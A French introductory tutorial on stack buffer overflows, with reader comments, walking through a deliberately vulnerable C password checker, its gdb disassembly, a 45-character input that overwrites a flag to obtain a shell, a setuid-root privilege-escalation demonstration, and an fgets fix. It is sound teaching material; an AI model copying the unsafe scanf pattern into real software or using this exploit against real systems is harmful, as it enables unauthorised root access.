Licence CC 0

Introduction aux "buffer overflows"

Un nom générique regroupant un panel de failles redoutables liées aux systèmes d'exploitation

Introduction

Nous sommes en Août 1996 où la 49ème édition du célèbre Phrack est publiée. Parmi la multitude d’articles techniques de pointe parus, l’un d’eux retiendra particulièrement notre attention : Smashing the stack for fun and profit, d’Aleph1.

Dans cet article, l’auteur évoque l’exploitation de vulnérabilités liées à des débordements de tampons dans des programmes implémentés en langage C, tout en précisant que de telles brèches étaient présentes dans des programmes à usage répandu, notamment dans les systèmes d’exploitation UNIX.

Il s’agit d’une vulnérabilité très ancienne et pourtant très répandue encore. Elle est à l’origine d’un manque de rigueur de la part d’un programmeur, lorsque celui-ci désire effectuer une copie de données à destination d’un "buffer" mais que la capacité de celui-ci est a priori insuffisante pour contenir la quantité de données souhaitées. Il y a alors débordement et on parle ainsi de débordement de tampon ou "buffer overflow".

Cet article se veut être une douce introduction aux buffer overflows. Exploiter ce genre de vulnérabilités nécessite quelques connaissances dans le domaine de la programmation en C, ainsi que dans le fonctionnement d’un programme informatique au sens large : comment il manipule la mémoire, comment il exécute des instructions binaires.

Ici, nous nous attarderons sur un débordement de tampon au niveau de la pile d’exécution. C’est pourquoi je vous suggère, en toute modestie, de lire mon article sur l’introduction à la rétro-ingénierie de binaires où j’explique le fonctionnement de la pile d’exécution.

Un exemple simple : débordement de tampon dans la pile d’exécution

Considérons le programme suivant :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/crypto.h>
#include <openssl/md5.h>
#define BUFSIZE 40 /* Should be enough */

void main(void) {
    int access_granted = 0;
    char password[BUFSIZE] = {'\0'};

    char hash[16] = {'\0'};
    printf("Enter the password to get the access granted! ");
    scanf("%s", password);

    MD5_CTX c;

    MD5_Init(&c);

    MD5_Update(&c, password, strlen(password));

    MD5_Final(hash, &c);

    if(memcmp("\x90\x6d\x6f\x6a\x61\x58\xd6\x9d\x18\x59\x85\x26\x70\xbe\xfb\x08", hash, 16) == 0) {
        access_granted = 1;
    }

    if(access_granted) {
        printf("Access granted!\n");
        execve("/bin/sh", NULL, NULL);
    } else {
        printf("!!! ACCESS DENIED !!!\n");
    }

    exit(EXIT_SUCCESS);
}

Un programme que vous ne rencontrerez probablement pas dans la vie réelle (à moins que) mais qui se contente de faire quelque chose qui a un intérêt : demander un mot de passe à l’utilisateur, le condenser en MD5 et comparer les empreintes : si celles-ci correspondent, on lance un shell pour l’utilisateur.

L’intérêt d’avoir inséré le MD5 plutôt que le mot de passe en clair est évident : vous ne pourrez pas, a priori, deviner quel mot de passe le programme demande pour vous donner un shell.

Nous allons tester ce programme sur une distribution Linux amd64. Compilons-le, et exécutons-le.

1
2
3
4
ge0@samaritan ~/bof_example1 % gcc -o main main.c -lcrypto
ge0@samaritan ~/bof_example1 % ./main 
Enter the password to get the access granted! zestedesavoir
!!! ACCESS DENIED !!!

C’était prévisible… Et si nous vous disions qu’il était en fait possible d’obtenir un shell sans connaître le mot de passe demandé ?

1
2
3
4
ge0@samaritan ~/bof_example1 % ./main
Enter the password to get the access granted! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Access granted!
$

Tiens ? Aurions-nous trouvé le bon mot de passe ?

1
2
3
ge0@samaritan ~/bof_example1 % echo -n aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | md5sum
b3966b7a08e5d46fd0774b797ba78dc2  -
ge0@samaritan ~/bof_example1 %

D’après notre programme, le hash demandé est 906d6f6a6158d69d1859852670befb08. C’est radicalement différent de b3966b7a08e5d46fd0774b797ba78dc2 ! Alors pourquoi avons-nous réussi à obtenir un shell ?

La réponse est simple : nous avons effectué un buffer overflow et nous avons débordé sur la variable access_granted qui valait désormais autre chose que 0. Pour le vérifier, nous allons d’abord essayer de comprendre ce qu’il s’est passé dans la théorie, puis nous utiliserons nos compétences en rétro-ingénierie pour savoir ce qu’il s’est réellement produit.

La théorie

Au prologue de la fonction main, nous avons une pile d’exécution vide, avec un certain espace mémoire qui a été alloué. Cet espace mémoire servira à stocker les variables locales, ainsi qu’à mettre en place les arguments des fonctions que nous appellerons.

Considérons la pile de départ vide, comme le schéma ci-dessous :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
      Pile d'exécution
+--------------------------+
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
+--------------------------+

L’instruction suivante :

1
int access_granted = 0;

Aura pour effet d’allouer de l’espace mémoire à notre variable, au sein de l’espace mémoire alloué dans la pile d’exécution par la fonction main(). Nous aurons donc logiquement ceci :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
      Pile d'exécution
+--------------------------+
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
|                          |
+--------------------------+
|                          |
|     access_granted       |
|                          |
+--------------------------+

L’espace mémoire se situe vers la base de la pile. Comme si nous empilions des assiettes.

Nous rencontrons ensuite l’instruction suivante :

1
char password[BUFSIZE] = {'\0'};

De même que pour access_granted, nous allons allouer un espace mémoire pour password ; on empile une autre assiette, en d’autres termes, pour obtenir ceci :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
      Pile d'exécution
+--------------------------+
|                          |
|                          |
|                          |
|                          |
|                          |
+--------------------------+
|                          |
|                          |
|                          |
|                          |
|         password         |
|                          |
|                          |
|                          |
+--------------------------+
|                          |
|     access_granted       |
|                          |
+--------------------------+

Enfin, même chose pour char hash[16] = {'\0'};. Nous obtenons une pile d’exécution qui ressemble à ceci :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
      Pile d'exécution
+--------------------------+
|                          |
|                          |
|           hash           |
|                          |
|                          |
+--------------------------+
|                          |
|                          |
|                          |
|                          |
|         password         |
|                          |
|                          |
|                          |
+--------------------------+
|                          |
|     access_granted       |
|                          |
+--------------------------+

Que se passe-t-il lorsque nous exécutons l’instruction scanf("%s", password); ?

Le programme va attendre des données utilisateurs entrées au clavier. Ces données seront inscrites dans la zone mémoire pointée par password, donc dans la pile d’exécution. Après déroulement de l’instruction, l’espace mémoire de password est réinscrit par les données utilisateur. L’écriture se faisant du sommet de la pile vers sa base, elle ressemblera dorénavant à ceci :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
      Pile d'exécution
+--------------------------+
|                          |
|                          |
|           hash           |
|                          |
|                          |
+--------------------------+
|##########################|
|##########################|    |
|##########################|    |
|##########################|    |     sens d'écriture
|#########password#########|  \   /
|##########################|   \ /
|###########               |    +
|                          |
+--------------------------+
|                          |
|     access_granted       |
|                          |
+--------------------------+

Que se passe-t-il si l’espace mémoire alloué pour le mot de passe est insuffisant pour contenir l’intégralité des informations saisies par l’utilisateur ?

Dans notre cas, il y aura ce qu’on appelle un débordement de tampon, ou "buffer overflow". L’écriture continuera de se faire malgré l’insuffisance buffer, et nous déborderons sur l’espace mémoire alloué par access_granted :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
      Pile d'exécution
+--------------------------+
|                          |
|                          |
|           hash           |
|                          |
|                          |
+--------------------------+
|##########################|
|##########################|    |
|##########################|    |
|##########################|    |     sens d'écriture
|#########password#########|  \   /
|##########################|   \ /
|##########################|    +
|##########################|
+--------------------------+
|##########################|
|#####access_granted#######| <- débordement
|##########################|
+--------------------------+

La variable access_granted, qui valait initialement "0", se trouvera affectée d’une autre valeur en fonction des données que nous aurons fournies au programme. Cette valeur sera naturellement différente de 0, et le programme se déroulera comme si nous avions réussi à obtenir l’accès que nous convoitions, même si nous n’avons pas entré le bon mot de passe !

Nous allons maintenant approfondir notre analyse en récupérant des éléments techniques pour confirmer notre hypothèse.

La pratique

Par la suite, j’emploierai la syntaxe intel. Pour que celle-ci soit permanente lorsque vous utilisez gdb, faîtes un echo "set disassembly-flavor intel" > ~/.gdbinit.

Ouvrons notre binaire à l’aide de gdb, et désassemblons la fonction main.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
ge0@samaritan ~/bof_example1 % gdb ./main 
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/ge0/bof_example1/main...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
   0x00000000004008cc <+0>:     push   rbp
   0x00000000004008cd <+1>:     mov    rbp,rsp
   0x00000000004008d0 <+4>:     sub    rsp,0xa0
   0x00000000004008d7 <+11>:    mov    DWORD PTR [rbp-0x4],0x0
   0x00000000004008de <+18>:    mov    QWORD PTR [rbp-0x30],0x0
   0x00000000004008e6 <+26>:    mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004008ee <+34>:    mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004008f6 <+42>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004008fe <+50>:    mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400906 <+58>:    mov    QWORD PTR [rbp-0x40],0x0
   0x000000000040090e <+66>:    mov    QWORD PTR [rbp-0x38],0x0
   0x0000000000400916 <+74>:    mov    edi,0x400a90
   0x000000000040091b <+79>:    mov    eax,0x0
   0x0000000000400920 <+84>:    call   0x400720 <printf@plt>
   0x0000000000400925 <+89>:    lea    rax,[rbp-0x30]
   0x0000000000400929 <+93>:    mov    rsi,rax
   0x000000000040092c <+96>:    mov    edi,0x400abf
   0x0000000000400931 <+101>:   mov    eax,0x0
   0x0000000000400936 <+106>:   call   0x4007a0 <__isoc99_scanf@plt>
   0x000000000040093b <+111>:   lea    rax,[rbp-0xa0]
   0x0000000000400942 <+118>:   mov    rdi,rax
   0x0000000000400945 <+121>:   call   0x400710 <MD5_Init@plt>
   0x000000000040094a <+126>:   lea    rax,[rbp-0x30]
   0x000000000040094e <+130>:   mov    rdi,rax
   0x0000000000400951 <+133>:   call   0x400770 <strlen@plt>
   0x0000000000400956 <+138>:   mov    rdx,rax
   0x0000000000400959 <+141>:   lea    rcx,[rbp-0x30]
   0x000000000040095d <+145>:   lea    rax,[rbp-0xa0]
   0x0000000000400964 <+152>:   mov    rsi,rcx
   0x0000000000400967 <+155>:   mov    rdi,rax
   0x000000000040096a <+158>:   call   0x400730 <MD5_Update@plt>
   0x000000000040096f <+163>:   lea    rdx,[rbp-0xa0]
   0x0000000000400976 <+170>:   lea    rax,[rbp-0x40]
   0x000000000040097a <+174>:   mov    rsi,rdx
   0x000000000040097d <+177>:   mov    rdi,rax
   0x0000000000400980 <+180>:   call   0x400780 <MD5_Final@plt>
   0x0000000000400985 <+185>:   lea    rax,[rbp-0x40]
   0x0000000000400989 <+189>:   mov    edx,0x10
   0x000000000040098e <+194>:   mov    rsi,rax
   0x0000000000400991 <+197>:   mov    edi,0x400ac2
   0x0000000000400996 <+202>:   call   0x4007b0 <memcmp@plt>
   0x000000000040099b <+207>:   test   eax,eax
---Type <return> to continue, or q <return> to quit---
   0x000000000040099d <+209>:   jne    0x4009a6 <main+218>
   0x000000000040099f <+211>:   mov    DWORD PTR [rbp-0x4],0x1
   0x00000000004009a6 <+218>:   cmp    DWORD PTR [rbp-0x4],0x0
   0x00000000004009aa <+222>:   je     0x4009cc <main+256>
   0x00000000004009ac <+224>:   mov    edi,0x400ad3
   0x00000000004009b1 <+229>:   call   0x400740 <puts@plt>
   0x00000000004009b6 <+234>:   mov    edx,0x0
   0x00000000004009bb <+239>:   mov    esi,0x0
   0x00000000004009c0 <+244>:   mov    edi,0x400ae3
   0x00000000004009c5 <+249>:   call   0x400790 <execve@plt>
   0x00000000004009ca <+254>:   jmp    0x4009d6 <main+266>
   0x00000000004009cc <+256>:   mov    edi,0x400aeb
   0x00000000004009d1 <+261>:   call   0x400740 <puts@plt>
   0x00000000004009d6 <+266>:   mov    edi,0x0
   0x00000000004009db <+271>:   call   0x400750 <exit@plt>
End of assembler dump.
(gdb)

Passons en revue les instructions du début. Ce sont elles qui mettent en place le cadre de pile, ou "stack frame", de la fonction main, et qui allouent de l’espace mémoire dans ladite pile.

Ainsi, les trois instructions suivantes…

1
2
3
   0x00000000004008cc <+0>:     push   rbp
   0x00000000004008cd <+1>:     mov    rbp,rsp
   0x00000000004008d0 <+4>:     sub    rsp,0xa0

… vont mettre en place le cadre de pile délimité par rsp (sommet) et rbp (base) afin de ne pas perturber l’espace mémoire de la fonction appelante, et allouer 0xa0 octets (160 en décimal). En effet, il a bien fallu qu’on exécute du code qui se charge d’appeler la fonction main, en lui passant les arguments de la ligne de commande ! Il est crucial de ne pas interférer avec les données de cette fonction.

Viennent ensuite les instructions suivantes :

1
2
3
4
5
6
7
8
   0x00000000004008d7 <+11>:    mov    DWORD PTR [rbp-0x4],0x0
   0x00000000004008de <+18>:    mov    QWORD PTR [rbp-0x30],0x0
   0x00000000004008e6 <+26>:    mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004008ee <+34>:    mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004008f6 <+42>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004008fe <+50>:    mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400906 <+58>:    mov    QWORD PTR [rbp-0x40],0x0
   0x000000000040090e <+66>:    mov    QWORD PTR [rbp-0x38],0x0

On reconnait-là leur équivalent en C :

1
2
3
4
    int access_granted = 0;
    char password[BUFSIZE] = {'\0'};

    char hash[16] = {'\0'};

Il est même possible de déterminer précisément à quels emplacements mémoire seront situées nos variables !

L’instruction située à l’adresse 0x00000000004008d7 se contente de faire un mov DWORD PTR [rbp-0x4],0x0. En d’autres termes, elle écrit la valeur 0 à un emplacement mémoire pointé par l’opération rbp-4, qui correspond à la valeur contenue par le registre rbp, moins 4. La donnée écrite sera un DWORD, ce qui correspond à 4 octets.

Les versions récentes du compilateur GCC - à l’heure où j’écris ces lignes, bien entendu - fixent la taille d’un int sur un système 64-bit à… 4 octets ! Nous devinons donc aisément que notre variable access_granted se situe à 4 octets au-dessus de la base de la pile (rbp-4. En résumé, elle est tout en bas !

Nous avons ensuite déclaré un tableau de char de 40 octets et que nous avons nommé password. Comment déterminer que ces cinq instructions…

1
2
3
4
5
   0x00000000004008de <+18>:    mov    QWORD PTR [rbp-0x30],0x0
   0x00000000004008e6 <+26>:    mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004008ee <+34>:    mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004008f6 <+42>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004008fe <+50>:    mov    QWORD PTR [rbp-0x10],0x0

… Correspondent en fait à char password[40]; ? Simplement parce qu’un QWORD correspond à huit octets et que cinq écritures de huit octets font 5 x 8 = 40. On en déduit que notre tableau password s’étend de rbp-0x30 à rbp-0x08.

Pourquoi rbp-0x08 et non pas rbp-0x10 ? Souvenez-vous, il s’agit de pointeurs, d’étiquettes. Ainsi, l’instruction en 0x00000000004008fe, écrit en fait huit octets à partir de rbp-0x10. Ce qui veut dire que notre zone mémoire s’étend jusqu’à rbp-0x08 non-incluse !

Un schéma vaut mieux qu’un long discours. Voici l’état de notre pile après notre analyse de code :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
      Pile d'exécution
+--------------------------+ <-- rsp
|                          |
|                          |
|          /////           |
|                          |
|                          |
+--------------------------+  <--- rbp-0x30
|                          |
|                          |
|         password         |
|        (40 octets)       |
|                          |
|                          |
+--------------------------+  <--- rbp-8
|         4 octets         |
+--------------------------+  <--- rbp-4
|     access_granted       |
|       (4 octets)         |
+--------------------------+  <--- rbp

Pourquoi y a-t-il 4 octets situés entre l’espace mémoire de password et celui de access_granted ? Ca voudrait dire que password fait en fait 44 octets ?!

Cela pourrait, mais non. En réalité, le programme étant compilé sur une architecture 64-bit, celui-ci a besoin d’aligner ses variables sur… 64 bits, soit 8 octets. access_granted mesure 4 octets. Il faut donc 4 octets de plus pour nous aligner proprement. On appelle cela du bourrage, ou padding.

Partant de ce constat, vous saurez déduire que hash pointe en fait à rbp-0x40 et s’étend jusqu’à rbp-0x30 non-incluse (là où commence password), pour un total de 16 octets.

Vérifions que password commence bien à rbp-0x30. Attardons-nous sur ces instructions :

1
2
3
4
5
   0x0000000000400925 <+89>:    lea    rax,[rbp-0x30]
   0x0000000000400929 <+93>:    mov    rsi,rax
   0x000000000040092c <+96>:    mov    edi,0x400abf
   0x0000000000400931 <+101>:   mov    eax,0x0
   0x0000000000400936 <+106>:   call   0x4007a0 <__isoc99_scanf@plt>

On charge dans le registre rax la valeur de rbp-0x30 grâce à l’instruction lea (Load Effective Address). Ainsi, notre registre rax aura pour valeur une adresse mémoire située à 0x30 octets au-dessus de la base de la pile.

Cette même valeur est copiée dans le registre rsi. Il s’agit du registre qui contient le second argument d’une fonction avant son appel, comme le précise la convention d’appel de fonctions sur un système d’exploitation Linux x64.

Le registre qui doit contenir le premier argument d’une fonction est rdi, ou edi dans sa version 32-bit. Ainsi, l’instruction suivante :

1
   0x000000000040092c <+96>:    mov    edi,0x400abf

Charge dans edi la valeur 0x400abf. En faisant le lien avec notre code source et en admettant que nous appelons scanf avec les arguments "%s" et password, on en déduit que 0x400abf est une adresse mémoire qui pointe sur une chaîne de caractère "%s". Vérifions-le :

1
2
(gdb) x/s 0x400abf
0x400abf:        "%s"

Pas de mauvaise surprise !

Terminons rapidement avec les deux dernières instructions :

1
2
   0x0000000000400931 <+101>:   mov    eax,0x0
   0x0000000000400936 <+106>:   call   0x4007a0 <__isoc99_scanf@plt>

Le mov eax, 0x0 ne nous intéresse pas ici dans le cadre de notre exploitation. Il indique à scanf que nous n’utiliserons pas de registre vecteur pour stocker nos extra-arguments. Eh oui, scanf est une fonction compliquée qui attend un nombre d’arguments variables, et elle se sert du registre rax/eax pour lui permettre de les énumérer.

Vient enfin l’instruction call 0x4007a0 qui va se charger d’appeler la fonction scanf.

On sait dorénavant que password pointe à rbp-0x30. Plus aucun doute possible.

D’après notre schéma de la pile d’exécution ci-dessus, combien d’octets faut-il écrire à l’aide de scanf pour commencer à écraser la valeur initialement contenue dans access_granted ?

Si nous faisons le calcul, nous commencerons d’écraser access_granted à partir de 0x30-0x04 = 48 - 44 = 44 octets.

Supposons que nous fournissions 44 fois le caractère ’a’ à scanf. Celle-ci aura écrit 44 octets à l’emplacement pointé par password. On aura déjà débordé sur le "bourrage" qui sépare password de granted_access.

Mieux ! On aura aussi réécrit granted_access de l'\0' qui termine notre chaîne saisie au clavier. Mais comme cela ne changera en rien la valeur de granted_access qui valait déjà `\0’, le programme ne nous donnera pas le shell.

Preuve :

1
2
3
4
5
6
ge0@samaritan ~/bof_example1 % perl -e 'print "a" x 44 . "\n"'  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ge0@samaritan ~/bof_example1 % ./main 
Enter the password to get the access granted! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
!!! ACCESS DENIED !!!
ge0@samaritan ~/bof_example1 %

Si nous mettons un caractère ’a’ de plus, sachant que celui-ci a pour valeur 0x61 ou 97 dans le code ASCII, alors notre variable access_granted vaudra autre chose que 0. Ainsi, nous aurons normalement réussi à exploiter notre buffer overflow et obtenu notre shell sans connaître le mot de passe qui se cache derrière le condensat MD5 utilisé par le programme !

On essaie ?

1
2
3
4
5
6
ge0@samaritan ~/bof_example1 % perl -e 'print "a" x 45 . "\n"'
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ge0@samaritan ~/bof_example1 % ./main                           
Enter the password to get the access granted! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Access granted!
$

Pour corriger ce défaut de sécurité, rien de plus simple : contrôler la taille du buffer fourni par l’utilisateur !

1
2
    //scanf("%s", password);
    fgets(password, BUFSIZE, stdin);

On recompile en main_fixed. Résultat :

1
2
3
4
5
6
ge0@samaritan ~/bof_example1 % perl -e 'print "a" x 45 . "\n"'        
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ge0@samaritan ~/bof_example1 % ./main_fixed 
Enter the password to get the access granted! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
!!! ACCESS DENIED !!!
ge0@samaritan ~/bof_example1 %

D’accord. Mais là, tu as juste obtenu un shell au sein de ton propre programme. En quoi est-ce véritablement dangereux ?

Supposez que ce binaire appartienne à root et qu’il dispose du bit suid. En résumé, lorsque vous lancez ce programme, vous disposez des droits de root :

1
2
3
4
5
samaritan# chown root ./main
samaritan# chmod +s ./main
samaritan# 
ge0@samaritan ~/bof_example1 % ls -la main
-rwsr-sr-x 1 root ge0 8573 Feb 11 13:36 main

Exploitons de nouveau le binaire.

1
2
3
4
5
6
7
8
9
ge0@samaritan ~/bof_example1 % whoami
ge0
ge0@samaritan ~/bof_example1 % perl -e 'print "a" x 45 . "\n"'        
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ge0@samaritan ~/bof_example1 % ./main
Enter the password to get the access granted! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Access granted!
# whoami
root

Nous venons d’effectuer une escalade de privilèges et sommes désormais maître du système que nous venons de "rooter". :)

Conclusion

Cet article a permis de montrer au plus grand nombre qu’un débordement de tampon est un bug qui peut conduire à une exploitation intelligente d’une vulnérabilité. Bien évidemment, cela reste un très modeste aperçu et il existe à chaque bug exploitable sa technique sophistiquée. En résumé, ce que je vous ai montré n’est que la partie émergée de l’iceberg !

Beaucoup d’exploitations visent à écrire une valeur précise à un emplacement précis, comme nous venons de le voir. Mais il existe d’autres exploitations avancées, au point que les attaquants injectent, par exemple, du code machine au sein du programme qu’ils exécutent, afin de détourner le flux d’exécution de celui-ci et faire ainsi ce qu’ils veulent !

Et naturellement, les compilateurs implémentent diverses protections afin d’atténuer l’exploitabilité d’un bug. Un exemple qui aurait pu s’appliquer sur notre programme serait la mise en place d’un canary sur la pile d’exécution : il s’agit d’une valeur aléatoire positionnée juste au-dessus de la zone mémoire critique. Après déroulement du code vulnérable, il suffirait alors de vérifier que la valeur du canary n’ait été modifiée entre temps. S’il y a eu modification, alors il y a eu débordement de tampon et on pourrait prendre des mesures en conséquence, comme quitter le programme immédiatement, par exemple.

Enfin, sachez que de nombreuses plate-formes d’apprentissage existent pour vous initier à ce genre de vulnérabilités. Elles proposent ce qu’on appelle des wargames.

J’ai une tendance à vous recommander personnellement de visiter https://exploit-exercises.com/ ; notamment la section protostar, qui regroupe des exercices liés à la corruption mémoire, donc en partie aux débordements de tampon !

Bonne exploitation ! ^^



21 commentaires

Tout comme l'article précédent à propos de la sécurité, c'est très clair et très intéressant.

Je regrette que mon option sécurité soit déjà finie parce que ça m'aurait bien aidé. ^^

+1 -0

Un truc m'étonne dans l'intro : elle semble sous-entendre que personne n'utilisait ce genre de combine avant 1996, ce qui m'étonne un peu. Quelqu'un peut confirmer ou infirmer ?

SpaceFox

Pour moi, elle ne sous-entend pas cela. L'intro précise seulement la date de la publication d'un article qui a démocratisé/démystifié le concept, mais la faille existe depuis des lustres et c'est rappelé avec l'exemple des programmes Unix.

Enfin, c'est comme ça que je l'ai comprise en tout cas. :)

+2 -0

Disons que c'est cet article fondateur qui a marqué le coup de départ de la course entre la lance et le bouclier. À partir de là, les compilateurs et les mainteneurs de la libc ont commencé à ajouter des couches de sécurité contre les exploitations des buffer overflows, qui sont tour à tour contournées, puis renforcées.

+1 -0

Oui mais il est tout de même conseillé de favoriser fgets à scanf de toute façon. Ne serait-ce que pour gérer les caractères blancs.

+0 -0

Salut,

L'article est clair, avec un bon exemple pour l'illustrer. Peut-être préciser au début le point de vue de la norme C ? Car quelqu'un qui n'a jamais été confronté à ce problème serait en droit de se demander comment il se fait qu'un tel comportement soit autorisé pour ce programme, avant de vouloir étudier pourquoi ici avec ce compilateur visant cette architecture on a obtenu ce comportement.

Merci à tous pour vos retours ! :)

dentuk, pour répondre à ta question, je pense que cela relève d'un "comportement indéfini". C'est comme si tu avais ce morceau de code :

1
2
char password[40] = '\0';
password[45] = 'a'; // Erreur, on est en dehors de l'espace alloué pour le tableau, que va-t-il se passer ?

Je ne connais pas la norme plus que ça.

Dans la norme C99, il est mis ceci.

§ 6.5.6. Additive operators

[…]

8) When an expression that has integer type is added to or subtracted from a pointer, the result has the type of the pointer operand. If the pointer operand points to an element of an array object, and the array is large enough, the result points to an element offset from the original element such that the difference of the subscripts of the resulting and original array elements equals the integer expression. In other words, if the expression P points to the i-th element of an array object, the expressions (P)+N (equivalently, N+(P)) and (P)-N (where N has the value n) point to, respectively, the i+n-th and i−n-th elements of the array object, provided they exist. Moreover, if the expression P points to the last element of an array object, the expression (P)+1 points one past the last element of the array object, and if the expression Q points one past the last element of an array object, the expression (Q)-1 points to the last element of the array object. If both the pointer operand and the result point to elements of the same array object, or one past the last element of the array object, the evaluation shall not produce an overflow; otherwise, the behavior is undefined. If the result points one past the last element of the array object, it shall not be used as the operand of a unary * operator that is evaluated.

Et comme, en C, tab[i] est équivalent à *(tab + i) et à *(i + tab), on a bien une addition qui pet dépasser des bornes du tableau. C'est donc un comportement indéfini.

+0 -0

Le passage cité par poupou9779 est bien celui de référence pour les buffer overflows usuels, par exemple celui présenté dans ton commentaire, Ge0. Pour celui présenté dans l'article, comme scanf est une fonction de la bibliothèque standard, il s'agit plutôt de combiner les trois ci-dessous (tirés de C11 en l'occurence).

4. Conformance

2 If a ‘‘shall’’ or ‘‘shall not’’ requirement that appears outside of a constraint is violated, the behavior is undefined. Undefined behavior is otherwise indicated in this International Standard by the words ‘‘undefined behavior’’ or by the omission of any explicit definition of behavior. There is no difference in emphasis among these three; they all describe ‘‘behavior that is undefined’’.

7.21.6.2 The fscanf function

12 The conversion specifiers and their meanings are:

s

Matches a sequence of non-white-space characters.

If no l length modifier is present, the corresponding argument shall be a pointer to the initial element of a character array large enough to accept the sequence and a terminating null character, which will be added automatically.

7.21.6.4 The scanf function

The scanf function is equivalent to fscanf with the argument stdin interposed before the arguments to scanf.

[source]

Je n'invite pas forcément à citer la norme dans l'article, mais peut-être juste mentionner qu'il s'agit d'un comportement indéfini donc on n'a aucune garantie sur le comportement du programme, et tout peut arriver, ce qui explique que le comportement qu'on observe ici est bien un comportement valide pour le programme C qui est présenté. Le but étant d'arriver à expliquer au lecteur débutant que le problème est qu'ici on a un comportement «inattendu» car on a fait un «truc vraiment pas bien», mais que le C n'est pas à fuir pour autant1 car le comportement reste bien défini tant qu'on ne fait pas de «trucs vraiment pas bien». Car quand tu débutes, que tu lis le programme et que tu vois le comportement présenté, une réaction saine serait de ne plus vouloir jamais toucher au C de sa vie. :D


  1. À l'appréciation du lecteur. 

+1 -0

Après, si vous avez des questions sur le vif du sujet, il ne faut surtout pas hésiter.

J'aime à penser que si j'étoffe mes prochains exemples en langage d'assemblage, on ne se questionnera pas sur la question de l'utilisation d'un certain opcode par rapport à un autre.

Bon article, c’est très bien d’avoir ce genre de contenu « rampe » pour amener un lecteur vers un sujet en douceur.

Je n'invite pas forcément à citer la norme dans l'article, mais peut-être juste mentionner qu'il s'agit d'un comportement indéfini donc on n'a aucune garantie sur le comportement du programme.

dentuk

Oui mais non, la norme du C c’est bien pour parler du C de manière purement formelle mais sinon on s’en cogne. Elle ne parle jamais de pile par exemple. Autant je suis parmi les premiers à parler de la norme quand c’est utile, mais la ce n’est juste pas le sujet.

+1 -0

Très bon article, bien que je sois un peu largué par le shell unix et l'assembleur :/ La théorie est très intéressante :)

Quand on parle d'injecter du langage machine à un programme est-ce qu'on parle du fait de par exemple décomposer un programme en hexadécimal via un programme de type cracking et de changer une valeur pour avoir un accès ?

Quand on parle d'injecter du langage machine à un programme est-ce qu'on parle du fait de par exemple décomposer un programme en hexadécimal via un programme de type cracking et de changer une valeur pour avoir un accès ?

Pas exactement. Injecter un bout de programme en langage machine (on appelle ça un shellcode), c'est une exploitation typique d'un buffer overflow. La différence avec le cracking tel que tu le décris, c'est qu'il n'y a pas besoin de modifier le programme. L'idée, c'est vraiment d'exploiter un programme qui est potentiellement déjà en train d'être exécuté, avec des droits potentiellement différents des nôtes, et/ou sur une machine à laquelle on n'a potentiellement pas accès. En gros, c'est exploiter une faille sans modifier le programme cible, juste en lui soumettant une input malicieuse.

Le principe d'une attaque via un shellcode, c'est que plutôt que de remplir le buffer avec des données erratiques (aaaaaaaaaa), on va se débrouiller pour que :

  • les données soient du code machine exécutable,
  • le "pointeur de retour" sur la pile soit écrasé pour pointer sur ce code exécutable.

